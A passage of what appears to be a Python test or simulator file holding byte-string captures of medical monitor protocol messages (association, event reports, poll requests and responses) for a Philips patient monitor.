b"\x0d\xff\x01\x28\x05\x08" \
b"\x13\x01\x00\x16\x01\x02\x80\x00\x14\x02\x00\x02\xc1\xff\x01\x16" \
b"\x31\x80\xa0\x80\x80\x01\x01\x00\x00\xa2\x80\xa0\x03\x00\x00\x01" \
b"\xa4\x80\x30\x80\x02\x01\x01\x06\x04\x52\x01\x00\x01\x30\x80\x06" \
b"\x02\x51\x01\x00\x00\x00\x00\x30\x80\x02\x01\x02\x06\x0c\x2a\x86" \
b"\x48\xce\x14\x02\x01\x00\x00\x00\x01\x01\x30\x80\x06\x0c\x2a\x86" \
b"\x48\xce\x14\x02\x01\x00\x00\x00\x02\x01\x00\x00\x00\x00\x00\x00" \
b"\x61\x80\x30\x80\x02\x01\x01\xa0\x80\x60\x80\xa1\x80\x06\x0c\x2a" \
b"\x86\x48\xce\x14\x02\x01\x00\x00\x00\x03\x01\x00\x00\xbe\x80\x28" \
b"\x80\x06\x0c\x2a\x86\x48\xce\x14\x02\x01\x00\x00\x00\x01\x01\x02" \
b"\x01\x02\x81\x82\x00\x80\x80\x00\x00\x00\x40\x00\x00\x00\x00\x00" \
b"\x00\x00\x80\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x02" \
b"\x00\x64\x00\x01\x00\x28\x80\x00\x00\x00\x00\x00\x0f\xa0\x00\x00" \
b"\x05\xb0\x00\x00\x05\xb0\xff\xff\xff\xff\x60\x00\x00\x00\x00\x01" \
b"\x00\x0c\xf0\x01\x00\x08\x8e\x00\x00\x00\x00\x00\x00\x00\x01\x02" \
b"\x00\x34\x00\x06\x00\x30\x00\x01\x00\x21\x00\x00\x00\x01\x00\x01" \
b"\x00\x06\x00\x00\x00\xc9\x00\x01\x00\x09\x00\x00\x00\x3c\x00\x01" \
b"\x00\x05\x00\x00\x00\x10\x00\x01\x00\x2a\x00\x00\x00\x01\x00\x01" \
b"\x00\x36\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00"
print(type(association_request))
association_request_ba = bytearray(association_request)
association_response = \
b"\x0e\xce\x05\x08\x13\x01" \
b"\x00\x16\x01\x02\x80\x00\x14\x02\x00\x02\xc1\xbe\x31\x80\xa0\x80" \
b"\x80\x01\x01\x00\x00\xa2\x80\xa0\x03\x00\x00\x01\xa5\x80\x30\x80" \
b"\x80\x01\x00\x81\x02\x51\x01\x00\x00\x30\x80\x80\x01\x00\x81\x0c" \
b"\x2a\x86\x48\xce\x14\x02\x01\x00\x00\x00\x02\x01\x00\x00\x00\x00" \
b"\x61\x80\x30\x80\x02\x01\x01\xa0\x80\x61\x80\xa1\x80\x06\x0c\x2a" \
b"\x86\x48\xce\x14\x02\x01\x00\x00\x00\x03\x01\x00\x00\xa2\x03\x02" \
b"\x01\x00\xa3\x05\xa1\x03\x02\x01\x00\xbe\x80\x28\x80\x02\x01\x02" \
b"\x81\x48\x80\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x80" \
b"\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x2c\x00\x01" \
b"\x00\x28\x80\x00\x00\x00\x00\x00\x0f\xa0\x00\x00\x05\xb0\x00\x00" \
b"\x05\xb0\xff\xff\xff\xff\x60\x00\x00\x00\x00\x01\x00\x0c\xf0\x01" \
b"\x00\x08\x8e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
mds_create_event_report = \
b"\xe1\x00\x00\x02\x00\x01" \
b"\x01\x1a\x00\x01\x00\x01\x01\x14\x00\x21\x00\x00\x00\x00\x0e\x7f" \
b"\x92\x00\x0d\x06\x01\x06\x00\x21\x00\x00\x00\x00\x00\x11\x00\xfc" \
b"\x09\x84\x00\x08\x00\x06\x00\x09\xfb\x9c\xa9\x3c\x09\x86\x00\x04" \
b"\x00\x01\x11\x4d\x09\x1d\x00\x02\x00\x4d\x09\x28\x00\x12\x00\x08" \
b"\x50\x68\x69\x6c\x69\x70\x73\x00\x00\x06\x4d\x38\x30\x30\x30\x00" \
b"\x09\x48\x00\x04\x00\x01\x00\x00\x09\x37\x00\x08\x06\x55\x06\x55" \
b"\x00\x0d\x00\x0b\x09\x46\x00\x02\x20\x00\x09\x0d\x00\x02\x00\x02" \
b"\x09\x35\x00\x02\x00\x01\x09\x82\x00\x02\x00\x00\x09\x0c\x00\x02" \
b"\x00\x00\xf1\xfa\x00\x14\x00\x01\x00\x10\x00\x01\x00\x0c\x00\x06" \
b"\x00\x00\x87\x92\x00\x06\x00\x00\x88\x16\x09\xa7\x00\x02\x00\x06" \
b"\x09\x1e\x00\x24\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x87\x00\x08\x20\x19\x03\x21" \
b"\x17\x42\x28\x00\x09\x8f\x00\x04\x0e\x7f\x92\x00\x09\x85\x00\x3c" \
b"\x00\x01\x00\x38\x01\x02\x00\x34\x00\x06\x00\x30\x00\x01\x00\x21" \
b"\x00\x00\x00\x01\x00\x01\x00\x06\x00\x00\x01\x19\x00\x01\x00\x09" \
b"\x00\x00\x00\x4c\x00\x01\x00\x2a\x00\x00\x00\x01\x00\x01\x00\x36" \
b"\x00\x00\x00\x01\x00\x01\x00\x05\x00\x00\x00\x3d"
mds_create_event_result = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x14\x00\x01\x00\x01\x00\x0e\x00\x21\x00\x00\x00\x00\x00\x0a" \
b"\xbd\x00\x0d\x06\x00\x00"
rtsa_priority_list_request = \
b"\xe1\x00\x00\x02\x00\x01" \
b"\x00\x16\x00\x00\x00\x03\x00\x10\x00\x21\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x01\x00\x02\xf2\x3a"
set_rtsa_priority_list_request = \
b"\xe1\x00\x00\x02\x00\x01" \
b"\x00\x2e\x00\x00\x00\x05\x00\x28\x00\x21\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x01\x00\x1a\x00\x00\xf2\x3a\x00\x14\x00\x04\x00\x10" \
b"\x00\x02\x01\x02\x00\x02\x01\x01\x00\x02\x01\x3d\x00\x02\x4b\xb4"
data_poll_request = \
b"\xe1\x00\x00\x02\x00\x01\x00\x20\x00\x01\x00\x07\x00\x1a\x00\x21" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x3b\x00\x0c\x00\x01\x00\x01" \
b"\x00\x06\x00\x00\x00\x00\x00\x00"
ext_poll_wave_request = \
b"\xe1\x00\x00\x02\x00\x01\x00\x28\x00\x04\x00\x07\x00\x22\x00\x21" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x3b\x00\x14\x00\x03\x00\x01" \
b"\x00\x09\x00\x00\x00\x01\x00\x08\xf1\x3e\x00\x04\x00\x49\x3e\x00"
rsp_get_result = \
b"\xe1\x00\x00\x02\x00\x02\x00\x18\x00\x00\x00\x03\x00\x12\x00\x21" \
b"\x00\x00\x00\x00\x00\x01\x00\x08\xf2\x3a\x00\x04\x00\x00\x00\x00"
rsp_confirmed_set_result = \
b"\xe1\x00\x00\x02\x00\x02\x00\x28\x00\x00\x00\x05\x00\x22\x00\x21" \
b"\x00\x00\x00\x00\x00\x01\x00\x18\xf2\x3a\x00\x14\x00\x04\x00\x10" \
b"\x00\x02\x01\x02\x00\x02\x01\x01\x00\x02\x01\x3d\x00\x02\x4b\xb4"
# first group of responses
rsp_nu_1_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x7f\xaf\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_1_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x7f\xaf\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_1_no_3 = \
b"\xe1\x00\x00\x02\x00\x02\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21" \
b"\x00\x00\x00\x00\xf1\x3b\x00\x1a\x00\x01\x00\x00\x0e\x7f\xaf\x00" \
b"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00" \
b"\x00\x00"
rsp_wave_1_no_1 = \
b"\xe1\x00\x00\x02\x00\x02\x00\x30\x00\x04\x00\x07\x00\x2a\x00\x21" \
b"\x00\x00\x00\x00\xf1\x3b\x00\x20\x00\x03\x00\x00\x0e\x7f\xaf\x00" \
b"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01" \
b"\x00\x06\x00\x00\x00\x00\x00\x00"
# second group of responses
rsp_nu_2_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x7f\xef\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_2_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x7f\xef\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
